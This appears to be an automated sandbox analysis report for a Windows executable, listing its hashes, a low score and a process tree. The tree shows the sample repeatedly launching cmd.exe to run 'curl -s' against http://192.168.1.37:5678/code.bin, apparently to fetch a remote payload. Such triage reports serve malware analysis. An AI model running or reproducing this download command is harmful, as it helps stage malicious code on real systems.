764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb

Analysis

user interaction
yes
max time kernel
149s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/05/2026, 12:04

Target
764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe
Size 513KB
Sample260507-n8r5msc19z
SHA256 764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb
MD5 d323550d84a332029b9cf3758388c50e
SHA1 92e8349285ca8387da37e4773b7f49eb17a3c3c6
SHA512 140595e32f7cdb897170078a653bc97176f85a27e14473cbe2057651a6776926cf424d73e23761e6701335a6ce837ff248ef0343073acc9174226f62d62d96bd
SSDEEP 6144:b8Al34ETB4ETB4ETB4ETB4ETB4ETB4ETjagTsaDmlbVMS+9rDbZ8:bPRrrrrrrXagTx2V89rZ8
TLSH
T1A6B4B0C8B7C5ACEBC91946348EBF43A97B34F2C016468B131A6CF2351E177D0AC86E56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 4688	4964	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	78
PID 4688 wrote to memory of 5048	4688	cmd.exe	80
PID 4964 wrote to memory of 3028	4964	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	81
PID 3028 wrote to memory of 4480	3028	cmd.exe	83
PID 4964 wrote to memory of 1084	4964	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	84
PID 1084 wrote to memory of 4200	1084	cmd.exe	86
PID 4964 wrote to memory of 4676	4964	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	87
PID 4676 wrote to memory of 5616	4676	cmd.exe	89
PID 4964 wrote to memory of 3304	4964	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	90
PID 3304 wrote to memory of 3192	3304	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe
"C:\Users\Admin\AppData\Local\Temp\764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:4200
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:5616
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:3192